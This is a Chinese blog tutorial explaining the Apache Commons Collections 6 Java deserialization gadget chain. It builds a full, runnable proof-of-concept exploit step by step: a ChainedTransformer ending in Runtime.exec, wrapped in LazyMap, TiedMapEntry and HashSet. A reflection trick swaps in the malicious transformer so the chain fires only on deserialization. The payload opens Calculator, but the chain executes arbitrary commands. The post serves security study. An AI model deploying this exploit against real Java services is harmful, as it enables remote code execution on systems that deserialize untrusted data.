CommonsCollection6反序列化链学习
CommonsCollection6
1、前置知识
1.1、HashSet
HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合。继承了序列化和集合
构造函数参数为空的话创建一个HashMap(),有一个参数的情况下,要创建指定容量的初始数值的哈希集合。
我们看到add方法会调用map.put()方法。这个map就是HashMap()
//定义HashMap,E在泛型表示集合的元素,元素的类型为Object
private transient HashMap<E,Object> map;
......
public HashSet() {
map = new HashMap<>();
}
......
//创建初始容量为initialCapacity的HashSet,其实就是创建HashMap集合
public HashSet(int initialCapacity) {
map = new HashMap<>(initialCapacity);
}
......
//往HashSet添加元素,其实就是调用HashMap的put方法添加
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
1.2、HashMap
HashMap 是一个散列表,它存储的内容是键值对(key-value)映射,实现了Map 接口、Serializable接口
首先怎么怎么新建一个HashMap,这里就是创建一个整型(Integer)的 key 和字符串(String)类型的 value。
HashMap<Integer, String> Sites = new HashMap<Integer, String>();
添加键值对(key-value)的方法是put,接着上面我们添加键值对时也要传输对应的类型
Sites.put(1, "Google");
访问元素
通过get(key),获取value的值
Sites.get(1)
删除元素
使用 remove(key) 方法来删除 指定的key 对应的键值,删除所有键值
Sites.remove(1);删除指定的key对应的键值
Sites.clear();删除所有键值
计算大小
计算 HashMap 中的元素数量
Sites.size()
遍历
通过keySet()方法获取所有的key(键),也可以通过所有的valueSet(),获取所有value(键值)
//输出所有的键和键值
for (Integer i : Sites.keySet()) {
System.out.println("key: " + i + " value: " + Sites.get(i));
}
//输出所有的键值
for(String value: Sites.values()) {
// 输出每一个value
System.out.print(value + ", ");
}
1.3、debug问题
关于在调试put方法直接弹窗的解决办法。因为idea开启了自动tostring和展示集合对象
关掉改这两个选项既正常调试
2、POC利用
2.1、利用链
这次我们先看ysoseria的利用链
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
我们发现前面的利用链跟我们cc5可以说是一模一样,知道getValue(),cc5使用BadAttributeValueExpException的toString触发
TiedMapEntry的toString触发TiedMapEntry的getValue,以此类推。而cc6采用的是HashSet、HashMap来完成的我们来仔细分析一下
2.2、POC分析
TiedMapEntry.hashCode()
正如利用链那样可以调用getValue()方法,
HashMap.hash()
hash方法传入的参数为Object类型的key,然后用key去调用hashcode,所以我们只要传个恶意的TiedMapEntry作为hash()的key,就可以触发TiedMapEntry.hashCode()。
HashMap.put()
我们看到HashMap()的put方法,其中hash(key)的key是通过put传输的,所以我们调用HashMap的put方法时,我们恶意构造的TiedMapEntry当做key传入就可以。
HashSet.readObject()
看到通过readObject循环map.put(),从readObject读取,其中的map就是HashMap,前置知识有学习。到这里我们就可以尝试自己构造链子了。
2.3、poc构造
2.3.1、第一步
首先我们把cc5的链直接搬过来,构造一个恶意的tiedMapEntry。
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
2.3.2、第二步
创建HashSet,把我们的tiedMapEntry作为key传进去,通过add方法调用HashMap的put方法传进去。
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
我们来序列化,再反序列化,但是我们在序列化的时候就已经弹窗了
网上查查看看,找出问题点为hashSet.add(tiedMapEntry)方法,在该方法会中add调用了put方法,这样就会直接触发我们的利用链,那我们有啥办法吗?答案就是在序列化的时候才通过反射把lazymap传进去,这样在我们add方法后才赋值,就不会触发我们的恶意代码。
2.3.3、第三步
lazymap中用于调用的transform的属性为factory
那么我们在调用HashSet的add的方法,在对LazyMap赋值时,传入一个空的ConstantTransformer,在执行完HashSet的add方法后,通过反射修改lazyMap属性factory的值为我们的恶意ChainedTransformer类。
package com.akkacloud;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollection6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,chainedTransformer);
serialize(hashSet);
// unserialize();
}
public static void serialize(Object obj ) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
objectInputStream.readObject();
}
}
运行,在序列化的过程中没有问题,但是在反序列却没有弹窗!继续查找原因
我们在hashSet的add()方法打断点调试一下,慢慢跟进到LazyMap的get方法,此时会判断我们的lazymap中是否会存在key,不存在进入if,先调用this.factory.transform(key),此时的因为我们前面把空的ConstantTransformer赋值给LazyMap,所以Lazymap的key肯定为空的。题外知识点containsKey() 方法检查 hashMap 中是否存在指定的 key 对应的映射关系
但是在执行完this.factory.transform(key)后,会再一次把调用map的put()给key赋值,所以我们在反序列化的时候key里面是有东西的,在!super.map.containsKey(key)时就会判断为假,也就是有key,根本走不到this.factory.transform(key),所以我们要在HashSet的add()方法后清除lazymap的key,既调用Lazymap的remove(key),不可以使用Hashset的remove方法,因为此时hashset仍是我们传入空ConstantTransformer的Lazymap,必须要调用我们等会要操作的lazymap才可以,去除他的键值对关系
2.3.4、第四步-POC
package com.akkacloud;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollection6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原有lazymap类的factory属性,传入我们的恶意chainedTransformer
Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,chainedTransformer);
serialize(hashSet);
unserialize();
}
public static void serialize(Object obj ) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}
2.4、POC调试
首先还是在Hashset处,漏洞点打下断点
跟进put方法,调用HashMap的hash方法,key为我们恶意的TiedMapEntry
因为key为TiedMapEntry,所以调用的是TiedMapEntry的hashCode
跟进TiedMapEntry的hashCode方法,继续跟进getValue,后面的就跟我们的cc5链一模一样了,就不赘述了,不懂得查看cc1或者cc5
跟进getValue方法,继续调用get方法
进入LazyMap的get方法,此时的判断就是我们构造中去除lazymap的键值对关系的原因
可以已经成功进入到if,然后调用ChainedTransformer的transform
后面循环就是循环执行我们的恶意代码了
2.5、思维导图
参考链接
https://www.cnblogs.com/nice0e3/p/13892510.html
https://www.bilibili.com/video/BV1yP4y1p7N7/?spm_id_from=333.788
CommonsCollection6反序列化链学习的更多相关文章
- C3P0反序列化链学习
C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...
- CommonsCollection4反序列化链学习
CommonsCollection4 1.前置知识 由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取Invoke ...
- CommonsCollection7反序列化链学习
CommonsCollections7 1.前置知识 Hashtable Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中.它和Hash ...
- URLDNS反序列化链学习
URLDNS URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包. 1.利用链 * Gadget Chain: * Has ...
- GNU工具链学习笔记
GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...
- 安洵杯iamthinking(tp6反序列化链)
安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...
- Fastjsonfan反序列链学习前置知识
Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...
- Fastjson JdbcRowSetImpl利用链学习
JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...
- JS 原型链学习总结
废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...
随机推荐
- SSH 免密码认证登陆
检查是否已安装ssh rpm -qa |grep ssh 如未安装可以重新安装 yum install -y openssl openssh-server 修改配置 vim /etc/ssh/ssh ...
- VuePress 博客优化之开启 Algolia 全文搜索
前言 在 <一篇带你用 VuePress + Github Pages 搭建博客>中,我们使用 VuePress 搭建了一个博客,最终的效果查看:TypeScript 中文文档. 由于 V ...
- django的request对象方法初识
1:request.post 拿到的是post请求发送过来的数据,可以将其看作是一个个的键值对 使用get方法可以通过key拿到值,如果该值是一个列表的话,get方法只能拿到列表的最后一个值,使用ge ...
- CentOS7安装MYSQL8.X详细教程
1-首先查看系统是否存在mysql,无则不返回 # rpm -qa|grep mysql 2-安装wget # yum -y install wget 3-抓取mariadb并删除包,无则不返回 # ...
- 关于C#窗体应用程序的一点总结
1.在窗体Form在Form_Load函数中写了过多的界面初始化语句导致界面卡顿时 解决方法为:将一些初始化语句写在public Form()函数中,会大大加快程序的初始化加载速度. 2.为butto ...
- 报错 ———— Cause: org.apache.ibatis.builder.BuilderException: Error creating document instance. Cause: org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 6; 不允许有匹配 "[xX][mM][lL]" 的处理指令目标。
报错 <?xml version="1.0" encoding="UTF-8"?> 必须是XML文件的第一个元素且前面不能空格. ### Erro ...
- 5月31日 python学习总结 Python中应该使用%还是format来格式化字符串?
%还是format Python中格式化字符串目前有两种阵营:%和format,我们应该选择哪种呢? 自从Python2.6引入了format这个格式化字符串的方法之后,我认为%还是format这根本 ...
- python在json文件中提取IP和域名
# qianxiao996精心制作 #博客地址:https://blog.csdn.net/qq_36374896 import re def openjson(path): f = open(pat ...
- 半吊子菜鸟学Web开发4 --Html css学习2
1<a>标签,链接到另一个页面 <a href="目标网址" title="鼠标滑过显示的文本">链接显示的文本</a> H ...
- idea 下 Vue
一.需要了解的基本知识 node.js Node.js是一个Javascript运行环境(runtime),发布于2009年5月,由Ryan Dahl开发,实质是对Chrome V8引擎进行了封装.N ...